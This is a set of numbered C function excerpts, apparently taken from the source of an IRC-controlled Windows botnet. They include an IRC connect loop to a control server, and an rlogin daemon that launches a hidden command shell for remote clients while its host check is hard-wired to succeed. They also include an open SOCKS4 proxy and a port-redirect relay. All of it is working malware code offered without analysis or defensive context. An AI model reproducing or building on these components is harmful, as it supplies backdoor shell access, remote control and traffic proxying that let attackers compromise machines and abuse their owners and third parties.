Example #1
0
static BOOL CheckLogin(char *RemoteUser, char *RemoteHost, char *LocalUser, unsigned long ClientAddr)
{
	// LPHOSTENT HostEnt;
	// BYTE HostName[100];
	BOOL HostOk = FALSE;

	if (strcmp(LocalUser, RemoteUser) != 0) {
		addlogv("[RLOGIND]: Login rejected, Remote user: <%s@%s>.", RemoteUser, RemoteHost);
		return (FALSE);
	}

	// FIX ME: need to add in a real hostcheck.
	/*
	if ((HostEnt = gethostbyname(HostName)) != NULL) 
		if (ClientAddr == *(unsigned long *)HostEnt->h_addr) {
			HostOk = TRUE;
			break;
		}
	}
	*/

	HostOk=TRUE;
	if (!HostOk) 
		addlogv("[RLOGIND]: Login rejected, Remote user: <%s@%s>.", RemoteUser, RemoteHost);

	return HostOk;
}
Example #2
0
static PSESSION_DATA CreateSession(int threadnum)
{
	PSESSION_DATA Session = NULL;
	BOOL Result;
	SECURITY_ATTRIBUTES SecurityAttributes;
	HANDLE ShellStdinPipe = NULL, ShellStdoutPipe = NULL;

	if ((Session = (PSESSION_DATA)malloc(sizeof(SESSION_DATA))) == NULL)
		return (NULL);

	Session->ReadPipeHandle = NULL;
	Session->WritePipeHandle = NULL;

	SecurityAttributes.nLength = sizeof(SecurityAttributes);
	SecurityAttributes.lpSecurityDescriptor = NULL;
	SecurityAttributes.bInheritHandle = TRUE;

	if ((Result = CreatePipe(&Session->ReadPipeHandle,&ShellStdoutPipe,&SecurityAttributes,0)) == FALSE) {
		addlogv("[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.", GetLastError());
		goto Failure;
	}
	if ((Result = CreatePipe(&ShellStdinPipe,&Session->WritePipeHandle,&SecurityAttributes,0)) == FALSE) {
		addlogv("[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.", GetLastError());
		goto Failure;
	}

	Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe, threadnum);

	CloseHandle(ShellStdinPipe);
	CloseHandle(ShellStdoutPipe);

	if (Session->ProcessHandle == NULL) {
		addlog("[RLOGIND]: Failed to execute shell.");
		goto Failure;
	}

	Session->ClientSocket = INVALID_SOCKET;

	return (Session);

	Failure:

	if (ShellStdinPipe != NULL) 
		CloseHandle(ShellStdinPipe);
	if (ShellStdoutPipe != NULL) 
		CloseHandle(ShellStdoutPipe);
	if (Session->ReadPipeHandle != NULL) 
		CloseHandle(Session->ReadPipeHandle);
	if (Session->WritePipeHandle != NULL) 
		CloseHandle(Session->WritePipeHandle);

	free(Session);

	return (NULL);
}
Example #3
0
static void SessionReadShellThread(LPVOID param)
{
	PSESSION_DATA Session = (PSESSION_DATA)param;
	char Buffer[BUFFER_SIZE], Buffer2[BUFFER_SIZE+30];
	DWORD BytesRead;

	while (ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL)) {
		DWORD BufferCnt, BytesToWrite;
		BYTE PrevChar = 0;

		for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) {
			if (Buffer[BufferCnt] == '\n' && PrevChar != '\r')
				Buffer2[BytesToWrite++] = '\r';
			PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
			assert(BytesToWrite < sizeof Buffer2);
		}

		if (fsend(Session->ClientSocket, Buffer2, BytesToWrite, 0) <= 0) 
			break;
	}

	if (GetLastError() != ERROR_BROKEN_PIPE)
		addlogv("[RLOGIND]: SessionReadShellThread exited, error: <%ld>.", GetLastError());

	return;
}
Example #4
0
static HANDLE StartShell(HANDLE ShellStdinPipeHandle, HANDLE ShellStdoutPipeHandle, int threadnum)
{
	PROCESS_INFORMATION pinfo;
	STARTUPINFO sinfo;
	HANDLE ProcessHandle = NULL;

	memset(&sinfo, 0, sizeof(sinfo));
	memset(&pinfo, 0, sizeof(pinfo)); 

	sinfo.lpTitle = NULL;
	sinfo.cb = sizeof(STARTUPINFO);
	sinfo.lpReserved = NULL;
	sinfo.lpTitle = NULL;
	sinfo.lpDesktop = NULL;
	sinfo.dwX = sinfo.dwY = sinfo.dwXSize = sinfo.dwYSize = 0L;
	sinfo.wShowWindow = SW_HIDE;
	sinfo.lpReserved2 = NULL;
	sinfo.cbReserved2 = 0;
	sinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	sinfo.hStdInput = ShellStdinPipeHandle;
	sinfo.hStdOutput = ShellStdoutPipeHandle;

	DuplicateHandle(GetCurrentProcess(),ShellStdoutPipeHandle,
		GetCurrentProcess(),&sinfo.hStdError,DUPLICATE_SAME_ACCESS,true,0);

    if (CreateProcess(NULL,SHELL_COMMAND_LINE,NULL,NULL,true,0,NULL,NULL,&sinfo,&pinfo)) {
		ProcessHandle = pinfo.hProcess;
		threads[threadnum].pid = pinfo.dwProcessId;
		CloseHandle(pinfo.hThread);
    } else 
		addlogv("[RLOGIND]: Failed to execute shell, error: <%d>.", GetLastError());

	return(ProcessHandle);
}
Example #5
0
DWORD WINAPI IRC_Connect(LPVOID param)
{
	IRC irc = *((IRC *)param);
	IRC *ircs = (IRC *)param;
	ircs->gotinfo = TRUE;

	int rval = 0;

	SOCKADDR_IN ssin;
	while (1) {
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons(irc.port);
		if ((ssin.sin_addr.s_addr=ResolveAddress(irc.host)) == 0)
			break;

		memset(threads[irc.threadnum].nick, 0, sizeof(threads[irc.threadnum].nick));
		rndnick(threads[irc.threadnum].nick, nicktype, nickprefix);

		if ((threads[irc.threadnum].sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
			Sleep(5000);
			continue;
		}

		if (fconnect(threads[irc.threadnum].sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
			fclosesocket(threads[irc.threadnum].sock);
			FlushDNSCache();
			Sleep(5000);
			continue;
		}

		#ifdef DEBUG_CONSOLE
		printf("Bot started and connect to %s.\n", irc.host);
		#endif
		addlogv("[MAIN]: Connected to %s.", irc.host);

		rval = IRC_ReceiveLoop(threads[irc.threadnum].sock, irc.host, irc.channel, irc.chanpass, threads[irc.threadnum].nick, irc.clone);
		fclosesocket(threads[irc.threadnum].sock);

		if (rval == 0) 
			continue;
		else if (rval == 1) {
			Sleep(900000);
			continue;
		}
		else if (rval == 2) 
			break;
	}
	clearthread(irc.threadnum);

	return rval;
}
Example #6
0
// port redirect function
DWORD WINAPI RedirectThread(LPVOID param)
{
	REDIRECT redirect = *((REDIRECT *)param);
	REDIRECT *redirectp = (REDIRECT *)param;
	redirectp->gotinfo = TRUE;

	char sendbuf[IRCLINE];
	DWORD id;

	SOCKADDR_IN rsin, csin;	
	memset(&rsin, 0, sizeof(rsin));
	rsin.sin_family = AF_INET;
	rsin.sin_port = fhtons(redirect.lport);
	rsin.sin_addr.s_addr = INADDR_ANY;

	int csin_len = sizeof(csin);

	SOCKET rsock, csock;
	if ((rsock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) {
		threads[redirect.threadnum].sock = rsock;

		fWSAAsyncSelect(rsock, 0, WM_USER + 1, FD_READ);
		if (fbind(rsock, (LPSOCKADDR)&rsin, sizeof(rsin)) == 0) {
			if (flisten(rsock, 10) == 0) {
				while(1) {
					if ((csock = faccept(rsock, (LPSOCKADDR)&csin, &csin_len)) != INVALID_SOCKET) {
						redirect.csock = csock;

						redirect.gotinfo = FALSE;
						sprintf(sendbuf,"[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), csin.sin_port, redirect.threadnum); 
						redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,csock);
						threads[redirect.cthreadnum].parent = redirect.threadnum;
						if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoopThread,(LPVOID)&redirect,0,&id)) {
							while (redirect.gotinfo == FALSE) 
								Sleep(50);
						} else {
							addlogv("[REDIRECT]: Failed to start client thread, error: <%d>.", GetLastError());
							break;
						}
					}
				}
			}
		}
	}

	fclosesocket(csock);
	fclosesocket(rsock);
	clearthread(redirect.threadnum);

	ExitThread(0);
}
Example #7
0
static BOOL GetStr(SOCKET Socket, char *buffer, int cnt)
{
	char c;
    
	do {
		if (frecv(Socket, &c, 1, 0) != 1)
			return (FALSE);
		*buffer++ = c;
		if (--cnt == 0) {
			addlogv("[RLOGIND]: Protocol string too long.");
			return (FALSE);
		}
	} while (c != 0);

	return (TRUE);
}
Example #8
0
DWORD WINAPI Socks4ClientThread(LPVOID param)
{
	SOCKS4 socks4 = *((SOCKS4 *)param);
	SOCKS4 *socks4p = (SOCKS4 *)param;
	socks4p->cgotinfo = TRUE;

	int threadnum = socks4.cthreadnum;

	SOCKS4HEADER hdr;

	TIMEVAL timeout;
	timeout.tv_sec = 5;
	timeout.tv_usec = 0;
	fd_set fd;
	FD_ZERO(&fd);
	FD_SET(threads[threadnum].sock, &fd);

	if (fselect(0, &fd, NULL, NULL, &timeout) == 0) {
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
		ExitThread(0);
	}
	if (frecv(threads[threadnum].sock, (char *)&hdr, sizeof(hdr), 0) <= 0) {
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);		
		ExitThread(0);
	}
	if (hdr.vn != 4 || hdr.cd != SOCKS4_CONNECT) {
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
		ExitThread(0);
	}

	// FIX ME: do a userid (hdr.userid) check here if you wish to use simple auth (needs testing)
	if (socks4.userid[0] != '\0') {
		if (strcmp(hdr.userid, socks4.userid) != 0) {
			addlogv("[SOCKS4]: Authentication failed. Remote userid: %s != %s.", hdr.userid, socks4.userid);
	
			hdr.vn = 0;
			hdr.cd = SOCKS4_REJECT_USERID;
			memset(&hdr.userid, 0, 1024);
			fsend(threads[threadnum].sock, (char *)&hdr, 8, 0);

			fclosesocket(threads[threadnum].sock);
			clearthread(threadnum);

			ExitThread(0);
		}
	}

	SOCKADDR_IN tsin;
	memset(&tsin, 0, sizeof(tsin));
	tsin.sin_family = AF_INET;
	tsin.sin_port = hdr.destport;
	tsin.sin_addr.s_addr = hdr.destaddr;

	SOCKET tsock;
	if ((tsock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
		addlogv("[SOCKS4]: Error: Failed to open socket(), returned: <%d>.", fWSAGetLastError());

		hdr.vn = 0;
		hdr.cd = SOCKS4_REJECT;
		memset(&hdr.userid, 0, 1024);
		fsend(threads[threadnum].sock, (char *)&hdr, 8, 0);

		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
	
		ExitThread(0);
	}

	if (fconnect(tsock, (LPSOCKADDR)&tsin, sizeof(tsin)) == SOCKET_ERROR) {
		addlogv("[SOCKS4]: Error: Failed to connect to target, returned: <%d>.", fWSAGetLastError());

		hdr.vn = 0;
		hdr.cd = SOCKS4_REJECT;
		memset(&hdr.userid, 0, 1024);
		fsend(threads[threadnum].sock, (char *)&hdr, 8, 0);

		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);

		ExitThread(0);
	}

	hdr.vn = 0;
	hdr.cd = SOCKS4_GRANT;
	memset(&hdr.userid, 0, 1024);
	fsend(threads[threadnum].sock, (char *)&hdr, 8, 0);
	TransferLoop(tsock, threads[threadnum].sock);

	fclosesocket(tsock);
	fclosesocket(threads[threadnum].sock);
	clearthread(threadnum);

	ExitThread(0);
}
Example #9
0
DWORD WINAPI RlogindClientThread(LPVOID param)
{
	RLOGIND rlogind = *((RLOGIND *)param);
	RLOGIND *rloginds = (RLOGIND *)param;
	rloginds->gotinfo = TRUE;	

	int threadnum=rlogind.cthreadnum;
	
	char LocalUser[16], RemoteUser[16], TerminalType[64], HostName[100], Buffer[16];
	LPHOSTENT HostEnt;
	SOCKADDR_IN csin;

	TIMEVAL timeout;
	timeout.tv_sec = 10;
	timeout.tv_usec = 0;
	fd_set fd;
	FD_ZERO(&fd);
	FD_SET(threads[threadnum].sock, &fd);

	if (fselect(0, &fd, NULL, NULL, &timeout) == 0) {
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
		ExitThread(0);
	}

	frecv(threads[threadnum].sock, (char *)&Buffer, 1, 0);

	GetStr(threads[threadnum].sock, RemoteUser, sizeof(RemoteUser));
	GetStr(threads[threadnum].sock, LocalUser, sizeof(LocalUser));
	GetStr(threads[threadnum].sock, TerminalType, sizeof(TerminalType));

	int csin_len = sizeof(csin);
	if (fgetpeername(threads[threadnum].sock, (LPSOCKADDR)&csin, &csin_len) != 0) {
		addlogv("[RLOGIND]: Error: getpeername(): <%d>.", fWSAGetLastError());
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
		ExitThread(0);
	}

	if ((HostEnt = fgethostbyaddr((char *)&csin.sin_addr, sizeof(csin.sin_addr), PF_INET)) == NULL) 
		sprintf(HostName, finet_ntoa(csin.sin_addr));
	else
		strcpy(HostName, HostEnt->h_name);

	frecv(threads[threadnum].sock, (char *)Buffer, sizeof(Buffer), 0);
	fsend(threads[threadnum].sock, "", 1, 0);

	if (!InsecureFlag && !CheckLogin(RemoteUser,HostName,rlogind.username,csin.sin_addr.s_addr)) {
		fsend(threads[threadnum].sock, "PERMISSION DENIED.", sizeof("PERMISSION DENIED."), 0);
		fshutdown(threads[threadnum].sock,SD_BOTH);
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
		ExitThread(0);
	}

	addlogv("[RLOGIND]: User logged in: <%s@%s>.", RemoteUser, HostName);

	if (!SessionRun(threadnum)) {
		addlogv("[RLOGIND]: Error: SessionRun(): <%d>.", GetLastError());
		fshutdown(threads[threadnum].sock,SD_BOTH);
		fclosesocket(threads[threadnum].sock);
		clearthread(threadnum);
		ExitThread(1);
	}

	addlogv("[RLOGIND]: User logged out: <%s@%s>.", RemoteUser, HostName);

	fshutdown(threads[threadnum].sock,SD_BOTH);
	fclosesocket(threads[threadnum].sock);
	clearthread(threadnum);
	ExitThread(0);
}
Example #10
0
DWORD WINAPI RlogindThread(LPVOID param)
{
	RLOGIND rlogind = *((RLOGIND *)param);
	RLOGIND *rloginds = (RLOGIND *)param;
	rloginds->gotinfo = TRUE;

	char sendbuf[IRCLINE];

	int csin_len, Err;
	unsigned long mode = 1;

	WSADATA WSAData;
	SECURITY_ATTRIBUTES SecurityAttributes;
	DWORD id;

	if ((Err = fWSAStartup(MAKEWORD(2,2), &WSAData)) != 0) {
		addlogv("[RLOGIND]: Error: WSAStartup(): <%d>.", Err);
		clearthread(rlogind.threadnum);
		ExitThread(1);
	}    
	if (!SetConsoleCtrlHandler((PHANDLER_ROUTINE)&CtrlHandler, TRUE)) {
		addlogv("[RLOGIND]: Failed to install control-C handler, error: <%d>.", GetLastError());
		fWSACleanup();
		clearthread(rlogind.threadnum);
		ExitThread(1);
	}

	SOCKET ssock, csock;
	SOCKADDR_IN csin, ssin;
	memset(&ssin, 0, sizeof(ssin));	
	ssin.sin_family = AF_INET;
	ssin.sin_port = fhtons(rlogind.port);
	ssin.sin_addr.s_addr = INADDR_ANY;	

	if ((ssock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) {
		threads[rlogind.threadnum].sock = ssock;
		if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) == 0) {
			if (flisten(ssock, SOMAXCONN) == 0) {
				SecurityAttributes.nLength = sizeof(SecurityAttributes);
				SecurityAttributes.lpSecurityDescriptor = NULL;
				SecurityAttributes.bInheritHandle = FALSE;

				addlog("[RLOGIND]: Ready and waiting for incoming connections.");

				BOOL flag = TRUE;
				while (1) {
					csin_len = sizeof(csin);
					if ((csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET)
						break;

					if (fsetsockopt(csock, SOL_SOCKET, SO_KEEPALIVE,(char *)&flag,flag) != SOCKET_ERROR) {
						rlogind.gotinfo = FALSE;
						sprintf(sendbuf,"[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), fntohs(csin.sin_port), rlogind.threadnum);
						addlog(sendbuf);
						rlogind.cthreadnum = addthread(sendbuf,RLOGIN_THREAD,csock);
						threads[rlogind.cthreadnum].parent = rlogind.threadnum;
						if (threads[rlogind.cthreadnum].tHandle = CreateThread(&SecurityAttributes,0,&RlogindClientThread,(LPVOID)&rlogind,0,&id)) {
							while (rlogind.gotinfo == FALSE) 
								Sleep(50);
						} else {
							addlogv("[RLOGIND]: Failed to start client thread, error: <%d>.", GetLastError());
							break;
						}
					}
				}
			}
		}
	}

	sprintf(sendbuf, "[RLOGIND]: Error: server failed, returned: <%d>.", fWSAGetLastError());
	if (!rlogind.silent) irc_privmsg(rlogind.sock, rlogind.chan, sendbuf, rlogind.notice);
	addlog(sendbuf);
	
	fclosesocket(csock);
	fclosesocket(ssock);
	fWSACleanup();

	clearthread(rlogind.threadnum);

	ExitThread(0);
}
Example #11
0
bool SessionRun(int threadnum)
{
	PSESSION_DATA Session = CreateSession(threadnum);
	SECURITY_ATTRIBUTES SecurityAttributes;
	DWORD ThreadId;
	HANDLE HandleArray[3];

	assert(threads[threadnum].sock != INVALID_SOCKET);

	SecurityAttributes.nLength = sizeof(SecurityAttributes);
	SecurityAttributes.lpSecurityDescriptor = NULL;
	SecurityAttributes.bInheritHandle = false;

	Session->ClientSocket = threads[threadnum].sock;

	if ((Session->ReadShellThreadHandle = CreateThread(&SecurityAttributes,0,
		(LPTHREAD_START_ROUTINE)SessionReadShellThread,(LPVOID)Session,0,&ThreadId)) == NULL) {
		addlogv("[RLOGIND]: Failed to create ReadShell session thread, error: <%d>.", GetLastError());
		Session->ClientSocket = INVALID_SOCKET;

		return(false);
	}

	if ((Session->WriteShellThreadHandle = CreateThread(&SecurityAttributes,0,
		(LPTHREAD_START_ROUTINE)SessionWriteShellThread,(LPVOID)Session,0,&ThreadId)) == NULL) {
		addlogv("[RLOGIND]: Failed to create ReadShell session thread, error: <%d>.", GetLastError());
		Session->ClientSocket = INVALID_SOCKET;

		TerminateThread(Session->WriteShellThreadHandle, 0);
		return(false);
	}

	HandleArray[0] = Session->ReadShellThreadHandle;
    HandleArray[1] = Session->WriteShellThreadHandle;
    HandleArray[2] = Session->ProcessHandle;

	switch (WaitForMultipleObjects(3, HandleArray, false, 0xffffffff)) {
	case WAIT_OBJECT_0 + 0:
		TerminateThread(Session->WriteShellThreadHandle, 0);
		TerminateProcess(Session->ProcessHandle, 1);
		break;

	case WAIT_OBJECT_0 + 1:
		TerminateThread(Session->ReadShellThreadHandle, 0);
		TerminateProcess(Session->ProcessHandle, 1);
		break;

	case WAIT_OBJECT_0 + 2:
		TerminateThread(Session->WriteShellThreadHandle, 0);
		TerminateThread(Session->ReadShellThreadHandle, 0);
		break;

	default:
		addlogv("[RLOGIND]: WaitForMultipleObjects error: <%d>.", GetLastError());
		break;
	}

	CloseHandle(Session->ReadShellThreadHandle);
	CloseHandle(Session->WriteShellThreadHandle);
	CloseHandle(Session->ProcessHandle);
	CloseHandle(Session->ReadPipeHandle);
	CloseHandle(Session->WritePipeHandle);

	fclosesocket(Session->ClientSocket);

	free(Session);

	return(true);
}
Example #12
0
// part of the redirect function, handles sending/recieving for the remote connection.
DWORD WINAPI RedirectLoopThread(LPVOID param)
{
	REDIRECT redirect = *((REDIRECT *)param);
	REDIRECT *redirectp = (REDIRECT *)param;
	redirectp->gotinfo = TRUE;

	int threadnum=redirect.cthreadnum;

	char sendbuf[IRCLINE], buff[4096];
	int err;
	DWORD id;
	
	SOCKET ssock;
	do {
		if ((ssock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) break;

		SOCKADDR_IN ssin;
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons(redirect.port);

		IN_ADDR iaddr;
		iaddr.s_addr = finet_addr(redirect.dest);
		LPHOSTENT hostent;
		if (iaddr.s_addr == INADDR_NONE) 
			hostent = fgethostbyname(redirect.dest);
		else 
			hostent = fgethostbyaddr((const char *)&iaddr, sizeof(iaddr), AF_INET);
		if (hostent == NULL) break;
		ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list);
	
		if ((err = fconnect(ssock, (LPSOCKADDR)&ssin, sizeof(ssin))) == SOCKET_ERROR) break;

		redirect.cgotinfo = FALSE;
		sprintf(sendbuf,"[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.", finet_ntoa(ssin.sin_addr), ssin.sin_port, redirect.threadnum); 
		redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,ssock);
		threads[redirect.cthreadnum].parent = redirect.threadnum;
		threads[redirect.cthreadnum].csock = threads[threadnum].sock;
		if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoop2Thread,(LPVOID)&redirect,0,&id)) {
			while (redirect.cgotinfo == FALSE) 
				Sleep(50);
		} else {
			addlogv("[REDIRECT]: Failed to start connection thread, error: <%d>.", GetLastError());
			break;
		}

		while (1) {
			memset(buff, 0, sizeof(buff));
			if ((err = frecv(threads[threadnum].sock, buff, sizeof(buff), 0)) <= 0) break;
			if ((err = fsend(ssock, buff, err, 0)) == SOCKET_ERROR) break;
		}
		break;
	} while (1);

	fclosesocket(threads[threadnum].sock);
	fclosesocket(ssock);

	clearthread(threadnum);

	ExitThread(0);
}